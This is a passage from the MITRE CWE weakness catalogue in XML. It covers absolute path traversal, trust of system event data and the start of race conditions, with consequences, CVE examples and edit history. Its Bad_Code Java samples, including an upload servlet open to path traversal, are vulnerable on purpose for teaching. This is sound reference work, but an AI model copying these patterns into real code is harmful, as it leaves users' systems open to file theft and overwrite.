				        </Reference>
				        <Reference Reference_ID="REF-4" Local_Reference_ID="R.359.4">
					          <Reference_Author>U.S. Department of Human Services</Reference_Author>
					          <Reference_Title>Health Insurance Portability and Accountability Act
						(HIPAA)</Reference_Title>
					          <Reference_Link>http://www.hhs.gov/ocr/hipaa/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-5" Local_Reference_ID="R.359.5">
					          <Reference_Author>Government of the State of California</Reference_Author>
					          <Reference_Title>California SB-1386</Reference_Title>
					          <Reference_PubDate>2002</Reference_PubDate>
					          <Reference_Link>http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-1" Local_Reference_ID="R.359.6">
					          <Reference_Author>Information Technology Laboratory, National Institute of
						Standards and Technology</Reference_Author>
					          <Reference_Title>SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC
						MODULES</Reference_Title>
					          <Reference_Date>2001-05-25</Reference_Date>
					          <Reference_Link>http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Privacy Violation</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not log sensitive information outside a trust
						boundary</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO13-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>464</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>467</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Other_Notes, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Other_Notes, References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="36" Name="Absolute Path Traversal" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					absolute path sequences such as "/abs/path" that can resolve to a location that
					is outside of that directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>22</Relationship_Target_ID>
					          <!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to create or overwrite critical files that
							are used to execute code, such as programs or libraries.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite or create critical files, such
							as programs, libraries, or important data. If the targeted file is used
							for a security mechanism, then the attacker may be able to bypass that
							mechanism. For example, appending a new account at the end of a password
							file may allow an attacker to bypass authentication.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able read the contents of unexpected files and
							expose sensitive data. If the targeted file is used for a security
							mechanism, then the attacker may be able to bypass that mechanism. For
							example, by reading a password file, the attacker could conduct brute
							force password guessing attacks in order to break into an account on the
							system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker may be able to overwrite, delete, or corrupt unexpected
							critical files such as programs, libraries, or important data. This may
							prevent the software from working at all and in the case of a protection
							mechanisms such as authentication, it has the potential to lockout every
							user of the software.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-18">
					          <Intro_Text>In the example below, the path to a dictionary file is read from a
						system property and used to initialize a File object.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String filename =
								System.getProperty("com.domain.application.dictionaryFile");</Code>
							              <Code>File dictionaryFile = new File(filename);</Code>
						            </Block>
						            <Text>However, the path is not validated or modified to prevent it from
							containing absolute path sequences before creating the File object. This
							allows anyone who can control the system property to determine what file
							is used. Ideally, the path should be resolved relative to some kind of
							application or user home directory.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-22">
					          <Intro_Text>The following code demonstrates the unrestricted upload of a file
						with a Java servlet and a path traversal vulnerability. The action attribute
						of an HTML form is sending the upload file request to the Java
						servlet.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;form action="FileUploadServlet" method="post"
								enctype="multipart/form-data"&gt;</Code>
							              <Code/>
							              <Code>Choose a file to upload: </Code>
							              <Code>&lt;input type="file" name="filename"/&gt;</Code>
							              <Code>&lt;br/&gt;</Code>
							              <Code>&lt;input type="submit" name="submit" value="Submit"/&gt;</Code>
							              <Code/>
							              <Code>&lt;/form&gt;</Code>
						            </Block>
						            <Text>When submitted the Java servlet's doPost method will receive the
							request, extract the name of the file from the Http request header, read
							the file contents from the request and output the file to the local
							upload directory.</Text>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class FileUploadServlet extends HttpServlet {</Code>
							              <Code/>
							              <Block>
								                <Code>...</Code>
								                <Code/>
								                <Code>protected void doPost(HttpServletRequest request,
									HttpServletResponse response) throws ServletException,
									IOException {</Code>
								                <Code/>
								                <Block>
									                  <Code>response.setContentType("text/html");</Code>
									                  <Code>PrintWriter out = response.getWriter();</Code>
									                  <Code>String contentType = request.getContentType();</Code>
									                  <Code/>
									                  <Code>// the starting position of the boundary header</Code>
									                  <Code>int ind = contentType.indexOf("boundary="); </Code>
									                  <Code>String boundary = contentType.substring(ind+9);</Code>
									                  <Code/>
									                  <Code>String pLine = new String(); </Code>
									                  <Code>String uploadLocation = new
										String(UPLOAD_DIRECTORY_STRING); //Constant value</Code>
									                  <Code/>
									                  <Code>// verify that content type is multipart form data </Code>
									                  <Code>if (contentType != null &amp;&amp;
										contentType.indexOf("multipart/form-data") != -1) {</Code>
									                  <Code/>
									                  <Block>
										                    <Code>// extract the filename from the Http header</Code>
										                    <Code>BufferedReader br = new BufferedReader(new
											InputStreamReader(request.getInputStream()));</Code>
										                    <Code>...</Code>
										                    <Code>pLine = br.readLine(); </Code>
										                    <Code>String filename =
											pLine.substring(pLine.lastIndexOf("\\"),
											pLine.lastIndexOf("\""));</Code>
										                    <Code>...</Code>
										                    <Code/>
										                    <Code>// output the file to the local upload
											directory</Code>
										                    <Code>try {</Code>
										                    <Block>
											                      <Code>BufferedWriter bw = new BufferedWriter(new
												FileWriter(uploadLocation+filename, true));</Code>
											                      <Code>for (String line; (line=br.readLine())!=null; )
												{</Code>
											                      <Block>
												                        <Code>if (line.indexOf(boundary) == -1) {</Code>
												                        <Block>
												                           <Code>bw.write(line);</Code>
												                           <Code>bw.newLine();</Code>
												                           <Code>bw.flush();</Code>
												                        </Block>
												                        <Code>}</Code>
											                      </Block>
											                      <Code>} //end of for loop</Code>
											                      <Code>bw.close(); </Code>
										                    </Block>
										                    <Code/>
										                    <Code>} catch (IOException ex) {...}</Code>
										                    <Code>// output successful upload response HTML page</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>// output unsuccessful upload response HTML page</Code>
									                  <Code>else </Code>
									                  <Code>{...}</Code>
								                </Block>
								                <Code>}</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>As with the previous example this code does not perform a check on the
							type of the file being uploaded. This could allow an attacker to upload
							any executable file or other file with malicious code.</Text>
						            <Text>Additionally, the creation of the BufferedWriter object is subject to
							relative path traversal (CWE-22, CWE-23). Depending on the executing
							environment, the attacker may be able to specify arbitrary files to
							write to, leading to a wide variety of consequences, from code
							execution, XSS (CWE-79), or system crash.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1345</Observed_Example_Reference>
					          <Observed_Example_Description>Multiple FTP clients write arbitrary files via
						absolute paths in server responses</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1269</Observed_Example_Reference>
					          <Observed_Example_Description>ZIP file extractor allows full
						path</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1818</Observed_Example_Reference>
					          <Observed_Example_Description>Path traversal using absolute
						pathname</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1913</Observed_Example_Reference>
					          <Observed_Example_Description>Path traversal using absolute
						pathname</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2147</Observed_Example_Reference>
					          <Observed_Example_Description>Path traversal using absolute
						pathname</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0614</Observed_Example_Reference>
					          <Observed_Example_Description>Arbitrary files may be overwritten via compressed
						attachments that specify absolute path names for the decompressed
						output.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1263</Observed_Example_Reference>
					          <Observed_Example_Description> Mail client allows remote attackers to overwrite
						arbitrary files via an e-mail message containing a uuencoded attachment that
						specifies the full pathname for the file to be modified.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0753</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files via a
						full pathname to the target file in config parameter.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1525</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files via an
						absolute pathname. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0038</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files by
						specifying the drive letter in the requested URL.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0255</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to list
						arbitrary directories by using the "ls" command and including the drive
						letter name (e.g. C:) in the requested pathname.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0933</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows remote attackers to list the
						contents of arbitrary drives via a ls command that includes the drive letter
						as an argument. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0466</Observed_Example_Reference>
					          <Observed_Example_Description> Server allows remote attackers to browse
						arbitrary directories via a full pathname in the arguments to certain
						dynamic pages. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1483</Observed_Example_Reference>
					          <Observed_Example_Description> Remote attackers can read arbitrary files via an
						HTTP request whose argument is a filename of the form "C:" (Drive letter),
						"//absolute/path", or ".." . </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2488</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server read/access arbitrary files using "C:\"
						filenames</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0687</Observed_Example_Reference>
					          <Observed_Example_Description> FTP server allows a remote attacker to retrieve
						privileged web server system information by specifying arbitrary paths in
						the UNC format (\\computername\sharename). </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 9, "Filenames and Paths", Page
						503.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Absolute Path Traversal</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="360" Name="Trust of System Event Data" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>Security based on event locations are insecure and can be
					spoofed.</Description_Summary>
				        <Extended_Description>
					          <Text>Events are a messaging system which may provide control data to programs
						listening for events. Events often do not have any type of authentication
						framework to allow them to be verified from a trusted source. Any
						application, in Windows, on a given desktop can send a message to any window
						on the same desktop. There is no authentication framework for these
						messages. Therefore, any message can be used to manipulate any process on
						the desktop if the process does not check the validity and safeness of those
						messages.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>345</Relationship_Target_ID>
					          <!--Insufficient Verification of Data Authenticity-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If one trusts the system-event information and executes commands based
							on it, one could potentially take actions based on a spoofed
							identity.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Design through Implementation: Never trust or rely any of the
							information in an Event for security.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This example code prints out secret information when an authorized
						user activates a button:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public void actionPerformed(ActionEvent e) {</Code>
							              <Block>
								                <Code>if (e.getSource() == button) {</Code>
								                <Block>
									                  <Code>System.out.println("print out secret information");</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>This code does not attempt to prevent unauthorized users from
							activating the button. Even if the button is rendered non-functional to
							unauthorized users in the application UI, an attacker can easily send a
							false button press event to the application window and expose the secret
							information.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Trust of system event data</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="362" Name="Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The program contains a code sequence that can run concurrently
					with other code, and the code sequence requires temporary, exclusive access to a
					shared resource, but a timing window exists in which the shared resource can be
					modified by another code sequence that is operating
					concurrently.</Description_Summary>
				        <Extended_Description>
					          <Text>This can have security implications when the expected synchronization is
						in security-critical code, such as recording whether a user is authenticated
						or modifying important state information that should not be influenced by an
						outsider.</Text>
					          <Text>A race condition occurs within concurrent environments, and is effectively
						a property of a code sequence. Depending on the context, a code sequence may
						be in the form of a function call, a small number of instructions, a series
						of program invocations, etc.</Text>
					          <Text>A race condition violates these properties, which are closely
						related:</Text>
					          <Block Block_Nature="List">
						            <Text>Exclusivity - the code sequence is given exclusive access to the
							shared resource, i.e., no other code sequence can modify properties of
							the shared resource before the original sequence has completed
							execution.</Text>
						            <Text>Atomicity - the code sequence is behaviorally atomic, i.e., no other
							thread or process can concurrently execute the same sequence of
							instructions (or a subset) against the same resource. </Text>
					          </Block>
					          <Text>A race condition exists when an "interfering code sequence" can still
						access the shared resource, violating exclusivity. Programmers may assume
						that certain code sequences execute too quickly to be affected by an
						interfering code sequence; when they are not, this violates atomicity. For
						example, the single "x++" statement may appear atomic at the code layer, but
						it is actually non-atomic at the instruction layer, since it involves a read
						(the original value of x), followed by a computation (x+1), followed by a
						write (save the result to x). </Text>
					          <Text>The interfering code sequence could be "trusted" or "untrusted." A trusted
						interfering code sequence occurs within the program; it cannot be modified
						by the attacker, and it can only be invoked indirectly. An untrusted
						interfering code sequence can be authored directly by the attacker, and
						typically it is external to the vulnerable program.</Text>
					          <Text/>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>691</Relationship_Target_ID>
					          <!--Insufficient Control Flow Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>751</Relationship_Target_ID>
					          <!--2009 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
